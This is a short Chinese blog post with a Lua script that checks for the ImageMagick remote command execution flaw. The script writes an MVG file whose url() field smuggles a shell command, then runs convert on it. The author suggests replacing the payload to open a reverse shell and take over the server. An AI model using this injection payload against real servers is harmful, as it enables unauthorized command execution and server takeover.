Sevck:ImageMagick远程命令执行工具检测工具
ImageMagick这个漏洞昨天晚上就出来了,今天才有时间研究一下,今天自己也测试了一下
效果图:
用lua写了一个检测脚本
1 print ("Checking...")
2 file=io.open("exp.jpg","w")
3 --file:write("s")
4 file:write("push graphic-context\r\nviewbox 0 0 640 480\r\n")
5 file:write("fill 'url(https://example.com/image.jpg")
6 file:write('"|echo "success!!!)')
7 file:write("'\r\n")
8 file:write("pop graphic-context")
9 file:close()
10 cmd=io.popen("convert exp.jpg test.png")
11 result=cmd:read("*all")
12 print(result)
如果存在返回
s
当然playload自己改吧,可以直接反弹个shell回来,直接拿到服务器权限
附上一篇分析文章:
http://ricterz.me/posts/Write%20Up%3A%20Remote%20Command%20Execute%20in%20Wordpress%204.5.1?_=1462399591384&from=groupmessage&isappinstalled=0
关注公众号:拾黑(shiheibook)了解更多
[广告]赞助链接:
四季很好,只要有你,文娱排行榜:https://www.yaopaiming.com/
让资讯触达的更精准有趣:https://www.0xu.cn/
关注网络尖刀微信公众号
随时掌握互联网精彩
随时掌握互联网精彩
赞助链接
排名
热点
搜索指数
- 1 钓鱼台漫步和意悠长 4932159
- 2 多名“酒”网红去世:全都不满40岁 4985537
- 3 女子泰国游香奈儿包和11万现金被抢 4857790
- 4 4.0版消博会 外资看中三个“新” 4771662
- 5 雷军回应着装模仿马斯克 4614209
- 6 两人争吵 高速公路怒撒4.3万现金 4596463
- 7 出操死亡女生存在送鱼情况 4473262
- 8 姑父强奸猥亵侄女7年被判13年 4387473
- 9 福州发生重大航空器事故系谣言 4256137
- 10 雷军 卡里没有冰冷的40亿 4116032